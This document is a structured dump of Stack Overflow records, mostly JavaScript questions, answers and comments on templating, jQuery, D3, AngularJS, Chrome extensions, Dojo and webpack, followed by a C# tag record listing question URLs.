has body: I understand the idea of store some data with an element, but as a Javascript learner, I am curious where actually is the data stored by using this method. The mootools help page is very simple and not helpful to me. Can anyone tell me where I can find more comprehensive mootools help please?
type: Question
tagged with: mootools
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40137112
comment on: http://stackoverflow.com/a/25681790
has text: It should be noted that `$.grep` returns an array, so the second line should be `google[0].price`.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39921987
type: Comment
has text: @srekoble Screenshot and code snippet provided. =)
type: QuestionComment
comment on: http://stackoverflow.com/q/25563920
score: 0

http://stackoverflow.com/q/25643449
type: Question
has comment: http://stackoverflow.com/comment/40068876
has title: How do I pass variables to the template in javascript micro templating?
tagged with: javascript
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25643522
has comment: http://stackoverflow.com/comment/40068714
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40067562
has comment: http://stackoverflow.com/comment/40068834
has body: John Resig has written a simple javascript templating-engine. (full code below) He provides a sample template with a loop: &lt;script type="text/html" id="user_tmpl"&gt; &lt;% for ( var i = 0; i &lt; users.length; i++ ) { %&gt; &lt;li&gt;&lt;a href="&lt;%=users[i].url%&gt;"&gt;&lt;%=users[i].name%&gt;&lt;/a&gt;&lt;/li&gt; &lt;% } %&gt; &lt;/script&gt; I have succsfulle called the template, like this: $.getJSON('/data/list.json', function(data){ //console.log(data) $('.container')[0].innerHTML = tmpl("item_tmpl", data); }) What I don't understand is where I set the variables that the template uses. Here is the json I'm using: [ { "id": 1, "name": "Skateboard", "price": 1299, "currency": "SEK", "thumbnail": "/static/img/products/1-t.jpg" }, { "id": 2, "name": "Ball", "price": 145, "currency": "SEK", "thumbnail": "/static/img/products/2-t.jpg" }, { "id": 3, "name": "Dog Shampoo", "price": 69, "currency": "SEK", "thumbnail": "/static/img/products/3-t.jpg" }, { "id": 4, "name": "A trip to the sun with Erik", "price": 29000, "currency": "SEK", "thumbnail": "/static/img/products/4-t.jpg" } ] Here is the full engine: // Simple JavaScript Templating // John Resig - http://ejohn.org/ - MIT Licensed (function(){ var cache = {}; this.tmpl = function tmpl(str, data){ // Figure out if we're getting a template, or if we need to // load the template - and be sure to cache the result. var fn = !/\W/.test(str) ? cache[str] = cache[str] || tmpl(document.getElementById(str).innerHTML) : // Generate a reusable function that will serve as a template // generator (and which will be cached). new Function("obj", "var p=[],print=function(){p.push.apply(p,arguments);};" + // Introduce the data as local variables using with(){} "with(obj){p.push('" + // Convert the template into pure JavaScript str .replace(/[\r\t\n]/g, " ") .split("&lt;%").join("\t") .replace(/((^|%&gt;)[^\t]*)'/g, "$1\r") .replace(/\t=(.*?)%&gt;/g, "',$1,'") .split("\t").join("');") .split("%&gt;").join("p.push('") .split("\…

http://stackoverflow.com/a/25578077
accepted answer of: http://stackoverflow.com/q/25578018
upvote count: 3
has comment: http://stackoverflow.com/comment/39948978
has body: The @section Scripts doesn't produce any output in the page on its own, you need to render the section somewhere. When you use it, there is a RenderSection call somewhere, like this: &lt;script type="text/javascript"&gt; @RenderSection('Scripts') &lt;/script&gt; The fact that the section is named Scripts doesn't have any relevance, it's just a convention that is used for sections that contain scripts.
downvote count: 0
has comment: http://stackoverflow.com/comment/39948905
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25578018
type: Answer
score: 3

http://stackoverflow.com/q/25644040
tagged with: javascript
has answer: http://stackoverflow.com/a/25644111
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40069302
has answer: http://stackoverflow.com/a/25644322
possible better answer: http://stackoverflow.com/a/25644111
tagged with: css
answer count: 4
type: AnsweredQuestion
downvote count: 3
score: -3
has answer: http://stackoverflow.com/a/25644205
accepted answer: http://stackoverflow.com/a/25644322
type: Question
has title: Change image when mouse over link (hover) and vice versa
has answer: http://stackoverflow.com/a/25644273
has body: Does anybody know how to make an animation like this http://www.hariripontarini.com/projects/corporate Thanks! Mars
upvote count: 0
has comment: http://stackoverflow.com/comment/40068540

http://stackoverflow.com/q/25555964
type: Question
tagged with: jquery-ui
tagged with: javascript
tagged with: jquery
score: 0
has body: I have this code, window.addEvent('domready', function() { new Sortables('.homepagemodule CAPTION', { clone: true, revert: true, opacity: 0.7, onStart: function() { dndMovingModule = this.element.parentNode.parentNode.id.toUpperCase(); }, onComplete: function() { dndDroppedOntoModule = this.element.parentNode.parentNode.id.toUpperCase(); if (typeof dndMovingModule != "undefined" &amp;&amp; typeof dndDroppedOntoModule != "undefined" &amp;&amp; dndMovingModule != dndDroppedOntoModule) { var url = window.location.protocol + "//" + window.location.host + "/" + year + "/save_setting?L=" + league_id + "&amp;TITLE=MODULE&amp;VALUE=" + dndMovingModule + "," + dndDroppedOntoModule; // alert("calling: " + url); makeHttpRequest(url); setTimeout("window.location.reload();", 250); } } }); }); What I have understood is it adds the draggable feature to the caption. Since this is written in an external javascript which I cannot edit, how can I remove its effect? I tried setting : draggable(disable:true) .unwrap() But nothing seems to work. Any help will be appreciated
has comment: http://stackoverflow.com/comment/39906989
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/63549192
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39907182
answer count: 0
has title: Revert a draggable feature of jQuery
linked to: http://stackoverflow.com/q/1324044

http://stackoverflow.com/comment/40016285
has text: Please see the last line of code above. If you have suggestions on how I pass the parameters. Am I doing it wrong? Please help..
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25615061

http://stackoverflow.com/a/25596350
has comment: http://stackoverflow.com/comment/39982015
has body: If you're noticing that the php block is never getting executed, then you're passing in the data wrong. Try this: function postTest(){ var data = { 'action': 'test' }; $.ajax({ type: "POST", url: "test.php", dataType: 'json', data: data, success: function(result){ console.log(result) } }); }
type: Answer
has comment: http://stackoverflow.com/comment/39981967
answers question: http://stackoverflow.com/q/25596229
has comment: http://stackoverflow.com/comment/39981986
score: 0
has comment: http://stackoverflow.com/comment/39982271

http://stackoverflow.com/comment/40117936
comment on: http://stackoverflow.com/q/25670263
has text: Seems like the issue was not with the SVG itself but with its parent div which has `overflow:hidden;` and cut the content. I have set its height to 100% and it works fine now.
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/q/25615465
has body: I have a chord diagram and on certain arc if I move my mouse from chord to chord (not arc-to-arc) I found that the all the chords are blinking. I don't move from an arc to another one I simply stay in the same one but it's blinking. If I compare my fiddle to this example when I am on "Yemen" and I move my mouse from chord to chord (in Yemen) the other chords doesn't blink. But on my diagram Let's say arc "MB" and I move my mouse all the other chords are blinking. g.append("svg:text") .attr("x", 6) .attr("dy", 15) .filter(function(d) { return d.value &gt; 110; }) .append("svg:textPath") .attr("xlink:href", function(d) { return "#group" + d.index + "-" + j; }) .text(function(d) { if (d.value&lt;5000){return "";} return array[d.index].name; }); }, remove_first_diagram()); var chordPaths = svg.selectAll("path.chord") .on("mouseover", function (d) { //console.log('mouseIn'); }) .on("mouseout", function (d) { //console.log('mouseOut'); }); function mouseover(d, i) { chordPaths.classed("fade", function(p) { return p.source.index != i &amp;&amp; p.target.index != i; }); }
has comment: http://stackoverflow.com/comment/40020704
has comment: http://stackoverflow.com/comment/40019300
type: Question
tagged with: javascript
tagged with: dom-events
score: 0
has title: D3.js blinking arc in chord diagram
answer count: 0
tagged with: d3.js
type: UnansweredQuestion
tagged with: chord-diagram
has comment: http://stackoverflow.com/comment/40025829

http://stackoverflow.com/q/25596784
accepted answer: http://stackoverflow.com/a/25739789
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/25739789
favorite count: 0
has body: In AngularJS, I have a api request that goes out and a JSON is returned. The JSON is stored as object data and I use data.Automation.Status to check the string in Status. There are a few JSON errors that could a rise(after http 200 success with the json returned successfully): The entire JSON could be returned a blank string "" data JSON object could exist, but Automation JSON object could be undefined Property Status of object Automation could be undefined or a blank string Coming from python, all these possible situations could easily be handled in a try/except block. Try: do something with JSON except (blah, blah) don't error out because JSON object is broken, but do this instead I see angular has $errorHandler service that can be modified with custom handlers. But I am not sure if this can be used in the same manner of duck typing that I am looking for. How could I go about duck typing in AngularJS? Specifically, for the JSON object error scenerios mentioned in the list above? How I am using data.Automation.Status at the moment: if (iteration &lt; Configuration.CHECK_ITERATIONS &amp;&amp; data.Automation.Status !== "FAILED") { iteration++; return $timeout((function() { return newStatusEvent(eventId, url, deferred, iteration); }), Configuration.TIME_ITERATION); } else { err = data.Automation.StatusDescription; return deferred.reject(err); }
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40266974
possible better answer: http://stackoverflow.com/a/25695178
has answer: http://stackoverflow.com/a/25695178
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: duck-typing
tagged with: error-handling
type: Question
has comment: http://stackoverflow.com/comment/40310206
has answer: http://stackoverflow.com/a/25676515
tagged with: javascript
has title: Duck Typing with JSON object - try/except?

http://stackoverflow.com/a/25660642
answers question: http://stackoverflow.com/q/25638088
upvote count: 2
type: Answer
score: 2
type: AcceptedAnswer
has body: based on this I managed to solve my issue by doing the following LightSwitch: Passing data from one screen to another -> for Desktop Client For HTML Client You MUST have a parameter on the screen from which you are passing the data, this is done by creating a data item, i.e. int in the below example, and in the post render code for this use the following code: myapp.ViewDeliveryNote.DeliveryIDPass_postRender = function (element, contentItem) { contentItem.screen.DeliveryIDPass = //created parameter contentItem.screen.DeliveryNote.DeliveryID; //the unique ID from the screen }; On the screen you want to pass to, add a new data item as that datatype OR if you are using it as a search parameter, use this. Find the parameter/data item you added on the left hand panel and click on the item, now in the properties window tick (is parameter) If there was a previous link between the pages via a button, remove the on tap and re-add it... you will now see an additional box where the application is asking for the value to pass, select the one you want and that shoud work :) hope this helps
accepted answer of: http://stackoverflow.com/q/25638088
downvote count: 0

http://stackoverflow.com/q/25597723
tagged with: google-chrome-extension
tagged with: google-chrome
accepted answer: http://stackoverflow.com/a/25598158
type: AnsweredQuestion
type: Question
answer count: 1
has title: nofitication created chrome extension api doesn't appear more than once
tagged with: javascript
tagged with: jquery
has body: I'm developing a Chrome Extension right now. I'd like to show notification under certain condition. and I'm able to show notification message once. But, once the notification message appears, even though I reload a webpage, it doesn't show the notification message again! I'm so stuck in this problem. Please anyone help me out!! thank in advance :) manifest.json { "name": "test", "version": "0.1", "manifest_version": 2, "permissions": [ "tabs", "notifications", "http://*/*" ], "background": { "scripts": ["background.js"], "persistent": false }, "content_scripts": [ { "matches": ["http://*/*"], "js": ["myscript.js"] } ] } myscript.js var message = { text:"hello" } chrome.runtime.sendMessage(message, function(response) { }); background.js chrome.runtime.onMessage.addListener( function(request, sender, sendResponse) { var test = chrome.notifications.create( 'notification',{ type: 'basic', title: "title", message: request.text, iconUrl:"icon.png" }, function(notificationId) { } ); chrome.notifications.onClosed.addListener(function (notificationId, byUser){ console.log("this doesn't call as well); });
score: 0
has answer: http://stackoverflow.com/a/25598158

http://stackoverflow.com/a/27536721
type: Answer
downvote count: 4
has comment: http://stackoverflow.com/comment/58462124
has comment: http://stackoverflow.com/comment/44344196
has body: //This is what I use for a Normal-ish distribution random function. function normal_random(){ var pos = [ Math.random(), Math.random() ]; while ( Math.sin( pos[0] * Math.PI ) &gt; pos[1] ){ pos = [ Math.random(), Math.random() ]; } return pos[0]; }; This function returns a value between 0 and 1. Values near 0.5 are returned most often.
upvote count: 1
has comment: http://stackoverflow.com/comment/87746058
answers question: http://stackoverflow.com/q/25582882
score: -3

http://stackoverflow.com/comment/40123814
type: Comment
type: QuestionComment
has text: Thanks everyone for your input. I should mention that the flickering does not occur every postback. It seems to be completely random since switching to a specific View will cause the flickering, but switching to that same view at other times is smooth with no flickering at all.
score: 0
comment on: http://stackoverflow.com/q/25673258

http://stackoverflow.com/a/25612816
has comment: http://stackoverflow.com/comment/63854261
downvote count: 0
answers question: http://stackoverflow.com/q/25612452
score: 1
has body: I did not check the logic of the math in your code... however here's what works for me: GameBox = function() { this.lastFrameTime = Date.now(); this.currentFrameTime = Date.now(); this.timeElapsed = 0; this.updateInterval = 2000; //in ms } GameBox.prototype.gameLoop = function() { window.requestAnimationFrame(this.gameLoop.bind(this)); this.lastFrameTime = this.currentFrameTime; this.currentFrameTime = Date.now(); this.timeElapsed += this.currentFrameTime - this.lastFrameTime ; if(this.timeElapsed &gt;= this.updateInterval) { this.timeElapsed = 0; this.update(); //modify data which is used to render } this.render(); } This implementation is independent from the CPU-speed (ticks). Hope you can make use of it!
upvote count: 1
has comment: http://stackoverflow.com/comment/63869166
type: Answer

http://stackoverflow.com/a/25682636
has comment: http://stackoverflow.com/comment/40191535
upvote count: 2
has comment: http://stackoverflow.com/comment/40725870
has body: That's really an intresting question. From my point of view it can be done using these techniques: First of all you should convert your blob to arraybuffer. This can be done with FileReader, and it is async operation Then here comes some magic of Encoding API, which is currently available on stable Chrome. So you convert your arraybuffer into string. This operation is sync Then you can communicate with other extensions/apps using Chrome API like this. I am using this technique to promote one of my apps (new packaged app) using another famous legacy app. And due to the fact that legacy packaged apps are in fact extensions, I think everything will be okay.
answers question: http://stackoverflow.com/q/25668998
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/39956395
has text: Yes, but this for a specific modal. I want a general solution for this.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25582234
score: 1

http://stackoverflow.com/comment/40024872
comment on: http://stackoverflow.com/a/25610524
score: 0
type: AnswerComment
has text: ok, so you inspected the code of those files ONE BY ONE with an editor ? You didn't find the listener using the inspector and finding the "addmarker" buried in the methods/prototypes ? That's what i'm trying to understand. Maybe there's a ressource to understand how to dig in those inspectors (Chrome, FF...) to find this kind of information. Or maybe if you sayy otherwise, i just have to scroll all js files to find the answer. Anyway, thank you again for your time.
type: Comment

http://stackoverflow.com/q/25614023
favorite count: 0
tagged with: backbone.js
type: UnansweredQuestion
tagged with: design-patterns
has comment: http://stackoverflow.com/comment/40018839
has title: dom references and global variables localization. does it make sense?
has comment: http://stackoverflow.com/comment/40014252
answer count: 0
tagged with: backbone-views
has body: Does it make more efficient to make a local( and private ) variables / DOM references if you use them in backbone view? var app = {}; (function( window, document ) { var variable = 'some data'; var dom_reference = document.getElementById('some-id'); app.view = Backbone.View.extend({ // some action }); })( window, document );
upvote count: 1
has comment: http://stackoverflow.com/comment/40021314
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40050617
has comment: http://stackoverflow.com/comment/40014391
has comment: http://stackoverflow.com/comment/40029925
downvote count: 0
has comment: http://stackoverflow.com/comment/40030249
score: 1

http://stackoverflow.com/q/25681815
tagged with: dojo
type: Question
type: AnsweredQuestion
tagged with: datagrid
answer count: 1
tagged with: javascript
score: 0
has body: I create and load the data grid at the first call of the function, after that i'm trying to refresh the data grid using following code. function loadgrid(str) { require(['dojo/_base/lang', 'dojox/grid/DataGrid', 'dojo/data/ItemFileWriteStore', 'dojo/dom', 'dojo/domReady!'], function(lang, DataGrid, ItemFileWriteStore, dom) { var data = { identifier: "id", items: [] }; var data_list = JSON.parse(str); for(var i = 0, l = data_list.length; i &lt; l; i++) { data.items.push(lang.mixin({ id: i+1 }, data_list[i])); } var store = new ItemFileWriteStore({data: data}); if(!document.getElementById("grid")) { var grid = new DataGrid( { id: 'grid', store: store, structure: layout, rowSelector: '20px', rowsPerPage:40 }); grid.layout.setColumnVisibility(1,false); grid.placeAt("gridDiv"); grid.startup(); } else { var grid = dijit.registry.byId("grid"); grid.setStore = store; grid.render(); } }); } &lt;/script&gt; It is running well but the grid remains in a old data store. what's wrong in that?
has title: Refreshing issue in DOJO datagrid
has answer: http://stackoverflow.com/a/25681946
accepted answer: http://stackoverflow.com/a/25681946

http://stackoverflow.com/a/25681884
answers question: http://stackoverflow.com/q/25681761
type: Answer
has body: You can try using Array.map like this: var upd='GOOG',p=250,u=false; array.map(function(){ if(!u&amp;&amp;this.c==upd) { this.price=p; u=true; } });
score: 0

http://stackoverflow.com/comment/39993272
score: 0
type: Comment
type: QuestionComment
has text: http://forum.jquery.com/topic/jquery-each-and-hasownproperty-check
comment on: http://stackoverflow.com/q/25602475

http://stackoverflow.com/comment/40094267
type: QuestionComment
comment on: http://stackoverflow.com/q/25657862
score: 0
has text: I would do it with css and an "active" class. could also do the slideup/down with css.
type: Comment

http://stackoverflow.com/q/25705524
has answer: http://stackoverflow.com/a/25708434
upvote count: 1
linked to: http://stackoverflow.com/q/25712446
type: Question
tagged with: javascript
has title: Parse Cloud JavaScript Save Function Parameter
accepted answer: http://stackoverflow.com/a/25708434
answer count: 1
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40181604
tagged with: parse-platform
has comment: http://stackoverflow.com/comment/40180957
type: AnsweredQuestion
score: 1
has body: In Parse Cloud code, I saw a period of code like this: myObject.save(null, { success:function(){} error:function(error){} }); Is the "null" means i want to do nothing special but save in the saving step? If that, can I just delete the "null"? Additionally: the delete object function destroy: myObject.destroy({EXAMPLE}{ success: function(myObject) { }, error: function(myObject, error) { } }); If I add a function in the "EXAMPLE" place, will the function be called? if Yes, what is the order of the calling, after the destroy function or before the destroy function.

http://stackoverflow.com/comment/39906068
type: QuestionComment
has text: Thanks mate. I *think* I get the gist of it: the data in each "img" in "footer" sort of acts as a "channel" to send instructions back to each corresponding "img" in "footer2". If an "img" in "footer" gets to -19 or greater, a hashtag (to reference an id) and the data for that specific id ("this") is developed, and the attribute and information to change is sort of relayed back to the actual id in "footer2", where the changes are made. (something like that, I think) **Question:** is there a reason you used "prop" instead of "attr"? "attr" seems to work too.
type: Comment
comment on: http://stackoverflow.com/q/25554497
score: 0

http://stackoverflow.com/comment/40043929
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25577415
has text: thanks alot just found out what was wrong plus your helpful info about the sheet update :D
type: AnswerComment

http://stackoverflow.com/q/25603564
has title: should UI state be stored in model or controller?
accepted answer: http://stackoverflow.com/a/25630380
type: Question
answer count: 1
tagged with: javascript
linked to: http://stackoverflow.com/q/5209615
has body: So let's take that simple example: data --&gt; projection --&gt; view What I call projection here can be any UI state resulting in filtering, sorting, highlighting, etc... In an MVC paradigm, data lives in the model, view is the view, where does state belong? I used to store state in the controllers but I've heard it's bad, controllers should be kept "lean" and everything should be stuffed into the model. I can see the advantages of having stateless controllers for testing but it seems counter intuitive to couple the data and its projection in the model. What if different views want different projections of the data? How does it break down? [EDIT] Found some related questions here and here but they don't answer the question directly. I know to put the logic for projecting the data inside the model but it doesn't say where the state of these projections should be maintained.
score: 0
tagged with: architecture
linked to: http://stackoverflow.com/q/467113
has answer: http://stackoverflow.com/a/25630380
tagged with: model-view-controller
type: AnsweredQuestion

http://stackoverflow.com/comment/39914661
comment on: http://stackoverflow.com/q/25559815
score: 0
has text: You would make your program take a username, then access runescape's website to get that character's skill data, read that data from the website and display it in your program's graphical interface. I don't think that runescape provides an api for retrieving character stats so you'd have to do it manually - which means it's probably too complicated/tedious for a first programming project. Start with something a lot smaller.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25586391
has answer: http://stackoverflow.com/a/25586474
has answer: http://stackoverflow.com/a/25586419
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39963701
tagged with: http://stackoverflow.com/tag/json
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25586423
tagged with: javascript
score: -1
accepted answer: http://stackoverflow.com/a/25586474
has title: Convert json to string
answer count: 3
upvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/39963729
has body: My string is :- var str = '{ name : "some name", prop : "some class=\"className\"" }'; How do I convert it to javascript object? I want something like this:- obj.name should return some name
has comment: http://stackoverflow.com/comment/39963745
possible better answer: http://stackoverflow.com/a/25586419

http://stackoverflow.com/comment/40118431
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25665214
score: 0
has text: @Dr.Molle that makes complete sense now. How would you write the code for the resize-event? I would need to fire ideally when the container is opened.. Would this be used via .toggleClass then .done().promise(function(){...})?

http://stackoverflow.com/comment/40128884
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25677212
has text: live server? can we see the url?

http://stackoverflow.com/comment/40143957
comment on: http://stackoverflow.com/q/25685033
type: Comment
type: QuestionComment
score: 0
has text: @BarlasApaydin - And that sound OK to you ? Then he should update!

http://stackoverflow.com/comment/39985783
comment on: http://stackoverflow.com/a/25598271
type: Comment
has text: I don't need the each function? Sorry I thought I still needed the each function, I don't. Thanks Arun.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25682976
favorite count: 0
tagged with: extjs
tagged with: postgresql
has comment: http://stackoverflow.com/comment/40139791
has title: Extjs JSON reading from a file
has answer: http://stackoverflow.com/a/25683151
has body: For a project i am developing with Extjs(a javascript framework) Because i have to understand communication between several layers of a system i build an simple system of my own. PostgreSQL is used as a database. PHP gets this data and stores in in a json file, named pg.json. Now i cant seem to load the data from that already existing json file in a view in extjs. I tried multiple sources butt al where writing a json file themselfs. I already have a file(and it has to be done this way) and don't know how to load it. Im stuck. Please help! Regards
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25686411
tagged with: php
downvote count: 1
has comment: http://stackoverflow.com/comment/40141889
score: -1
type: Question
answer count: 2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40139327

http://stackoverflow.com/a/25582016
score: 5
answers question: http://stackoverflow.com/q/25581899
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39967862
accepted answer of: http://stackoverflow.com/q/25581899
has comment: http://stackoverflow.com/comment/39957292
type: Answer
has body: This is your answer and working: Untitled a Box 1-You forgot to include jquery to your file. 2-You should create an element that has a elem-demo class 3-Your javascript had a problem! You can't use double-quotation and it's child has double-quotation too. here is your code example, and then my code: onclick="$(".elem-demo").notify("Hello Box");" //Your code onclick="$('.elem-demo').notify('Hello Box');" //My code
upvote count: 5

http://stackoverflow.com/comment/39961916
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25585192
has text: The second example is just a function call and retain a pointer for the (string) result. Maybe read [How do JavaScript closures work?](http://stackoverflow.com/q/111102/1169798) for some more clarity on what a closure actually is.

http://stackoverflow.com/q/25701368
tagged with: dom
type: Question
has body: I am trying to do an innerWrap, then manipulate the contents of the wrap. However, the wrap never seems to get it's children added! Here's a test, showing the issue: var images = $(element).find('img'); console.log(images); var wrap = document.createElement("div") $(element).wrapInner(wrap) var images2 = $(wrap).find('img'); console.log(images2); View as JSFiddle Any ideas?
tagged with: javascript
tagged with: jquery
score: 0
has title: wrapInner doesn't add children to wrapping element in DOM
answer count: 1
has answer: http://stackoverflow.com/a/25701748
accepted answer: http://stackoverflow.com/a/25701748
type: AnsweredQuestion

http://stackoverflow.com/q/25552824
score: 5
has answer: http://stackoverflow.com/a/25552973
tagged with: google-visualization
tagged with: bar-chart
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25552973
answer count: 3
favorite count: 0
has answer: http://stackoverflow.com/a/52834761
has title: Google Chart hAxis.gridlines.count does not work as expected
possible better answer: http://stackoverflow.com/a/36173691
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/36173691
has body: I have a google Chart with percentage values from 0 to 100% (i.e. 0 to 1) When I set hAxis.gridlines.count to 10 expecting to get gridlines at 0, 10, 20, ... 90, 100 I get gridlines at 0, 12, 24, 36, ..., 96, 108 I could not find any solution by now. Here is my Code: function getData() { // Create the data table. var data = new google.visualization.arrayToDataTable([ ['Category', 'Fulfillment (%)'], ['A', .75], ['B', .50], ['C', .50], ['D', .30], ['E', 0] ]); // Set chart options var options = { 'title': 'My Title', 'height': 300, 'backgroundColor': 'none', 'hAxis': { 'maxValue': 1, format: '#%', gridlines: { count: 10 } }, 'colors': ['#F5821E'], legend: { position: "none" } }; var formatter = new google.visualization.NumberFormat({ pattern: '#%' }); formatter.format(data, 1); // Instantiate and draw our chart, passing in some options. var chart = new google.visualization.BarChart(document.getElementById('chart_div')); chart.draw(data, options); }
upvote count: 5
type: Question

http://stackoverflow.com/q/25627235
favorite count: 0
type: AnsweredQuestion
has body: I have a library written in AMD style that can be used with RequireJS. jquery and jquery-ui are assumed to be provided by the user of the library. Say it looks like this: // main-lib.js define(['jquery', './aux-lib.js'], function ($) { ..(1).. }); // aux-lib.js define(['jquery', 'jquery-ui'], function ($) { ..(2).. }); I'm trying to figure out how webpack works. For example, say I want to bundle these files into a single AMD style library file that still assumes jquery and jquery-ui from the outside: // out.js define(['jquery', 'jquery-ui'], function ($) { ..(1)..(2).. } ); How is this accomplished? When I run webpack with main-lib.js as entry-point, it will complain that it can't find jquery and jquery-ui. If I configure the correct paths with resolve.alias, it bundles jquery and jquery-ui into out.js, which is not what I want. I tried using output.externals to no avail.
downvote count: 0
score: 1
tagged with: amd
type: Question
tagged with: webpack
tagged with: javascript
has answer: http://stackoverflow.com/a/25633087
accepted answer: http://stackoverflow.com/a/25633087
has title: Using webpack to process an AMD library with external dependencies
upvote count: 1
answer count: 1

http://stackoverflow.com/q/25622131
tagged with: raphael
upvote count: 2
has comment: http://stackoverflow.com/comment/40068420
has body: If you use the toFront()-method on an element after you dragged it in an svg-image with multiple elements, the click-event of the element does not fire the first time. If you click on it or drag the same element again, all subsequent click events are fired. If you change to another element though, again the first click does not fire. (the same goes for double click, as it relies on the click) I've created a simple JSFiddle script to reproduce the problem: http://jsfiddle.net/061h4hv7/1/ You need to open your browser-console to view the output of the script. If you drag i.e. the red square for the first time the click event is not firing. All subsequent dragging fires the click though (as well as clicking on it). You can see if the click is not working if the console only logs mouseDown mouseUp but not mouseDown mouseUp click I'm using the Ubuntu-chrome version Version 36.0.1985.125 Ubuntu 14.04 (283153). The problem does also occur in Chrome on Windows. But apparently not in FireFox. I did not yet tested IE (maybe someone can test it?) Here is the code I'm using to reproduce the problem. Note if you comment out the line this.toFront(); everything works just fine. Unfortunately in my real code the toFront()-call is essential. It is also important to note, that the drag-method is not the sole trigger for that problem, because I have implemented a different drag-method, where I'm not using a transform, but the problem still persists. var click = function(){ console.log('click'); }; var dragger = function () { console.log('mouseDown'); this.previousDx = 0; this.previousDy = 0; }; var move = function (dx, dy) { console.log('mouseMove'); var txGroup = dx - this.previousDx; var tyGroup = dy - this.previousDy; this.translate(txGroup, tyGroup); this.previousDx = dx; this.previousDy = dy; }; var up = function () { console.log('mouseUp'); this.toFront(); }; var paper = Raphael(0, 0, "100%", "100%"); var red = paper.rect(10,10,30,30).attr({ 'fill' : 'red' }).drag(move, dragger,…
has comment: http://stackoverflow.com/comment/40070312
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40068123
score: 2
has title: RaphaelJS + Chrome: click event not triggering the first time after a toFront() call
answer count: 0
tagged with: google-chrome
type: Question
tagged with: javascript

http://stackoverflow.com/comment/39941475
type: QuestionComment
type: Comment
has text: If you do a quick search, you'll find many more duplicates.
comment on: http://stackoverflow.com/q/25574166
score: 0

c#
tags question: http://stackoverflow.com/q/25650091
tags question: http://stackoverflow.com/q/25618442
tags question: http://stackoverflow.com/q/25609831
tags question: http://stackoverflow.com/q/25556277
tags question: http://stackoverflow.com/q/25680423
tags question: http://stackoverflow.com/q/25692074
tags question: http://stackoverflow.com/q/25669319
tags question: http://stackoverflow.com/q/25693473
tags question: http://stackoverflow.com/q/25710837
tags question: http://stackoverflow.com/q/25584304
tag name: c#
tags question: http://stackoverflow.com/q/25606161
tags question: http://stackoverflow.com/q/25646343
tags question: http://stackoverflow.com/q/25664016
tags question: http://stackoverflow.com/q/25613831
tags question: http://stackoverflow.com/q/25686008
tags question: http://stackoverflow.com/q/25632111
tags question: http://stackoverflow.com/q/25586082
tags question: http://stackoverflow.com/q/25623065
tags question: http://stackoverflow.com/q/25594193
tags question: http://stackoverflow.com/q/25628440
tags question: http://stackoverflow.com/q/25601870
tags question: http://stackoverflow.com/q/25607685
tags question: http://stackoverflow.com/q/25690279
tags question: http://stackoverflow.com/q/25557897
tags question: http://stackoverflow.com/q/25675159
tags question: http://stackoverflow.com/q/25640777
tags question: http://stackoverflow.com/q/25555340
tags question: http://stackoverflow.com/q/25627004
tags question: http://stackoverflow.com/q/25615873
tags question: http://stackoverflow.com/q/25646178
tags question: http://stackoverflow.com/q/25620019
tags question: http://stackoverflow.com/q/25557474
tags question: http://stackoverflow.com/q/25621049
tags question: http://stackoverflow.com/q/25569159
tags question: http://stackoverflow.com/q/25600069
tags question: http://stackoverflow.com/q/25702805
tags question: http://stackoverflow.com/q/25673879
tags question: http://stackoverflow.com/q/25599411
tags question: http://stackoverflow.com/q/25650687
tags question: http://stackoverflow.com/q/25556100
tags question: http://stackoverflow.com/q/25707198
tags question: http://stackoverflow.com/q/25691578
tags question: http://stackoverflow.com/q/25555750
tags question: http://stackoverflow.com/q/25654651
tags question: http://stackoverflow.com/q/25693844
tags question: http://stackoverflow.com/q/25640138
tags question: http://stackoverflow.com/q/25665210
tags question: http://stackoverflow.com/q/25579107
tags question: http://stackoverflow.com/q/25617045
tags question: http://stackoverflow.com/q/25618507
tags question: http://stackoverflow.com/q/25646879
tags question: http://stackoverflow.com/q/25551675
tags question: http://stackoverflow.com/q/25606071
tags question: http://stackoverflow.com/q/25608375
tags question: http://stackoverflow.com/q/25565611
tags question: http://stackoverflow.com/q/25631213
tags question: http://stackoverflow.com/q/25637810
tags question: http://stackoverflow.com/q/25692240
tags question: http://stackoverflow.com/q/25704309
tags question: http://stackoverflow.com/q/25660043
tags question: http://stackoverflow.com/q/25684396
tags question: http://stackoverflow.com/q/25610312
tags question: http://stackoverflow.com/q/25682378
tags question: http://stackoverflow.com/q/25596242
type: Tag
tags question: http://stackoverflow.com/q/25689661
tags question: http://stackoverflow.com/q/25561058
tags question: http://stackoverflow.com/q/25709752
tags question: http://stackoverflow.com/q/25601942
tags question: http://stackoverflow.com/q/25576975
